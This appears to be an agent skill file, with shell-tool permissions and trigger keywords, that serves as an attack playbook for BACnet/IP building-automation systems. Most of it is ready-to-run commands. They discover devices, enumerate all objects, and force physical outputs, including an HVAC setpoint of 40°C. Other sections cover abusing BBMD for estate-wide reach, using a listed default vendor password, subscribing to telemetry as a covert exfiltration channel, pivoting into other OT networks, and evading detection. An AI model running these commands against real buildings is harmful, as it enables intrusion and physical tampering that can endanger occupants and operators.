name: ics-bacnet description: "BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot." allowed-tools: Bash Read Write metadata: when_to_use: "bacnet bacnet-ip building automation hvac who-is i-am readproperty writeproperty bbmd cov 47808 4660 vendor" subdomain: ics-ot tags: bacnet, building-automation, hvac, ics mitre_attack: T0855, T0836
BACnet/IP Attack — Building Automation
BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.
Discover
# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24
# Or with bacnet-tools (apt: bacnet-stack)
bacwi # who-is broadcast
bacrp 1234 8 1 85 # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)
# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'
What you get from discovery
Each I-Am response identifies:
- Device Instance number (PK for that device)
- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
- Max APDU + Segmentation support
Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).
Read everything
# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)
# Read all objects on a device:
bacrpm 1234 8 1 76 # property 76 = object-list
# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85 # analog-input 1, present-value
Write attacks
Override an output (the actual physical effect)
# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0 # write True at priority 8
# AnalogOutput (e.g., setpoint) to 40°C
bacwp 1234 1 3 85 8 -1 40.0
Subscribe to COV — Change Of Value (passive observation w/ delivery to attacker)
bacscov 1234 0 1 60 # Subscribe to analog-input 1, 60-sec lifetime
# Server pushes updates as values change — passive tap on building telemetry
Broadcast Storm (BBMD abuse)
BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:
# Send Who-Is with destination = BBMD's broadcast-distribution-table
# Each device replies with I-Am directly to attacker — fingerprints the whole estate
Vendor-specific overrides
- Johnson Controls Metasys:
device.system-statuswritable from network → restart device - Siemens Apogee:
program-statewritable → halt/run program objects - Honeywell Niagara: web UI on port 80/443 often unauth or default creds (
tridium/tridium)
Pivot from BACnet to OT network
A compromised BACnet controller often has secondary network interfaces:
- Trunk to RS-485 sensor net (BACnet MS/TP)
- Modbus to a chiller / VFD
- LonWorks for older lighting controls
- KNX for European installations
Once you control the BACnet gateway, you can tunnel to those sub-protocols.
OPSEC + safety
- Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.
- COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.
- Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.
References
- "BACnet/IP Vulnerabilities" — Stephen Hilt, Trend Micro
- bacpypes docs — github.com/JoelBender/bacpypes
- DEFCON 28 ICS Village "Building Automation Attacks" — Marc Rogers
- ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)